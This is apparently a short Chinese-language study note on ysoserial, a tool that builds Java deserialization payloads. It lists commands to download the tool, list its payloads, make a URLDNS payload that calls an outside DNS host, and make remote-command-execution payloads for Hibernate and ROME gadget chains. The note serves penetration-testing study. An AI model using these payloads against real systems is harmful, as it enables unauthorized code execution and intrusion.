【笔记】Ysoserial学习笔记

前言

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.(Github

下载项目

1
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

查看所有可选项

  • 根据当前渗透测试的环境选择payload
1
java -jar ysoserial-all.jar

生成向DNS服务器发送请求的序列化文件

http://examlpe.com:自定义DNS服务器地址

1
java -jar ysoserial-all.jar URLDNS "http://examlpe.com" > x.bin

生成远程命令执行的序列化文件

包含Hibernate包的项目

-Dhibernate5:指定生成hibernate5的序列化
Hibernate1:指定Payload类型(指定查看所有可选项中列出的可选项)
-cp hibernate-core-5.4.9.Final.jar:ysoserial-0.0.6-all.jar:将当前目录的hibernate-core-5.4.9.Final.jar包拷贝到ysoserial-0.0.6-all.jar包中
<shell>:远程命令执行的命令

1
java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar:ysoserial-0.0.6-all.jar ysoserial.GeneratePayload Hibernate1 "<shell>" > x.bin

包含ROME包的项目

<shell>:远程命令执行的命令

1
java -jar ysoserial-all.jar jar ROME "<shell>" > x.bin

完成

参考文献

哔哩哔哩——xiaodisec